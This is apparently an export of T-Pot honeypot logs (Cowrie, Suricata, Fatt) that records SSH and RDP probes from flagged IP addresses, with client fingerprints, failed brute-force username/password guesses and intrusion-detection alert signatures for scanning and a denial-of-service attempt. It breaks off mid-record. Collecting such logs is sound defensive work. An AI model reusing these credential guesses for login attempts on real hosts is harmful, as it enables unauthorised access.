31188	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:43:06.305513+03	2021-09-20 14:45:04.165141+03	{"_id": "VgYEA3wBvYTbRNuEUEIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:35076 (192.168.176.2:22) [session: d606d0880011]", "session": "d606d0880011", "@version": "1", "protocol": "ssh", "src_port": 35076, "dest_port": 22, "timestamp": "2021-09-20T11:43:06.305513Z", "@timestamp": "2021-09-20T11:43:06.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31189	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:43:06.308619+03	2021-09-20 14:45:04.166142+03	{"_id": "VwYEA3wBvYTbRNuEUEIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d606d0880011", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:06.308619Z", "@timestamp": "2021-09-20T11:43:06.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31190	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:43:06.592478+03	2021-09-20 14:45:04.167143+03	{"_id": "WAYEA3wBvYTbRNuEUEIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d606d0880011", "@version": "1", "timestamp": "2021-09-20T11:43:06.592478Z", "@timestamp": "2021-09-20T11:43:06.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31191	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:43:06.588744+03	2021-09-20 14:45:04.169141+03	{"_id": "WQYEA3wBvYTbRNuEUULD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 312173050617710, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35076, "dest_port": 22, "timestamp": "2021-09-20T11:43:06.588744Z", "@timestamp": "2021-09-20T11:43:06.588Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31192	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:43:06.591809+03	2021-09-20 14:45:04.170142+03	{"_id": "XAYEA3wBvYTbRNuEUkK2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35076, "dest_port": 22, "timestamp": "2021-09-20T11:43:06.591809", "@timestamp": "2021-09-20T11:43:06.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31193	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:43:07.809004+03	2021-09-20 14:45:04.171144+03	{"_id": "XgYEA3wBvYTbRNuEV0La", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [coracaobobo/coracaobobo123] failed", "session": "d606d0880011", "@version": "1", "password": "coracaobobo123", "username": "coracaobobo", "timestamp": "2021-09-20T11:43:07.809004Z", "@timestamp": "2021-09-20T11:43:07.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31194	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:43:09.093866+03	2021-09-20 14:45:04.172141+03	{"_id": "XwYEA3wBvYTbRNuEW0LC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d606d0880011", "@version": "1", "duration": 2.7855262756347656, "timestamp": "2021-09-20T11:43:09.093866Z", "@timestamp": "2021-09-20T11:43:09.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31195	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:43:20.366854+03	2021-09-20 14:45:04.173143+03	{"_id": "awYEA3wBvYTbRNuEhkK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:53356 (192.168.176.2:22) [session: bfbe28edbd32]", "session": "bfbe28edbd32", "@version": "1", "protocol": "ssh", "src_port": 53356, "dest_port": 22, "timestamp": "2021-09-20T11:43:20.366854Z", "@timestamp": "2021-09-20T11:43:20.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31196	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:43:20.409813+03	2021-09-20 14:45:04.175141+03	{"_id": "bAYEA3wBvYTbRNuEhkK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bfbe28edbd32", "@version": "1", "timestamp": "2021-09-20T11:43:20.409813Z", "@timestamp": "2021-09-20T11:43:20.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31197	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:43:20.408876+03	2021-09-20 14:45:04.176142+03	{"_id": "bQYEA3wBvYTbRNuEiEJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 747732127511492, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53356, "dest_port": 22, "timestamp": "2021-09-20T11:43:20.408876Z", "@timestamp": "2021-09-20T11:43:20.408Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31198	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:43:20.409247+03	2021-09-20 14:45:04.177141+03	{"_id": "cAYEA3wBvYTbRNuEiUJs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53356, "dest_port": 22, "timestamp": "2021-09-20T11:43:20.409247", "@timestamp": "2021-09-20T11:43:20.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31199	58.221.59.165	109.199.241.180	Suricata	2021-09-20 14:43:04.593337+03	2021-09-20 14:45:04.178142+03	{"_id": "SwYEA3wBvYTbRNuESULy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:04.593337+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 68859, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["CINS"], "created_at": ["2013_10_08"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 69", "signature_id": 2403368}, "geoip": {"ip": "58.221.59.165", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "58.221.59.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1914606021250489, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 59268, "dest_port": 3389, "timestamp": "2021-09-20T11:43:04.593337Z", "@timestamp": "2021-09-20T11:43:04.593Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31200	58.221.59.165	109.199.241.180	Suricata	2021-09-20 14:43:04.860083+03	2021-09-20 14:45:04.180142+03	{"_id": "TAYEA3wBvYTbRNuESULy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:04.593337+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "cve_id": "CVE-2012-0152", "category": "Attempted Denial of Service", "metadata": {"created_at": ["2012_03_13"], "updated_at": ["2012_03_13"]}, "severity": 2, "signature": "ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt", "signature_id": 2014384}, "geoip": {"ip": "58.221.59.165", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "58.221.59.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1914606021250489, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 59268, "dest_port": 3389, "timestamp": "2021-09-20T11:43:04.860083Z", "@timestamp": "2021-09-20T11:43:04.860Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31201	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:43:01.589123+03	2021-09-20 14:45:04.181144+03	{"_id": "RwYEA3wBvYTbRNuEPEJ-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/adminadmin] failed", "session": "e435425b16ea", "@version": "1", "password": "adminadmin", "username": "ftpuser", "timestamp": "2021-09-20T11:43:01.589123Z", "@timestamp": "2021-09-20T11:43:01.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31202	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:43:02.97287+03	2021-09-20 14:45:04.182144+03	{"_id": "SQYEA3wBvYTbRNuEREJP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e435425b16ea", "@version": "1", "duration": 3.376567840576172, "timestamp": "2021-09-20T11:43:02.972870Z", "@timestamp": "2021-09-20T11:43:02.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31203	58.221.59.165	109.199.241.180	Suricata	2021-09-20 14:43:04.593337+03	2021-09-20 14:45:04.184144+03	{"_id": "SgYEA3wBvYTbRNuESULy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:04.593337+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {"ip": "58.221.59.165", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "58.221.59.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1914606021250489, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 59268, "dest_port": 3389, "timestamp": "2021-09-20T11:43:04.593337Z", "@timestamp": "2021-09-20T11:43:04.593Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31204	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:43:22.271966+03	2021-09-20 14:45:04.185143+03	{"_id": "dwYEA3wBvYTbRNuEjkKR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:49760 (192.168.176.2:22) [session: de5d8481886a]", "session": "de5d8481886a", "@version": "1", 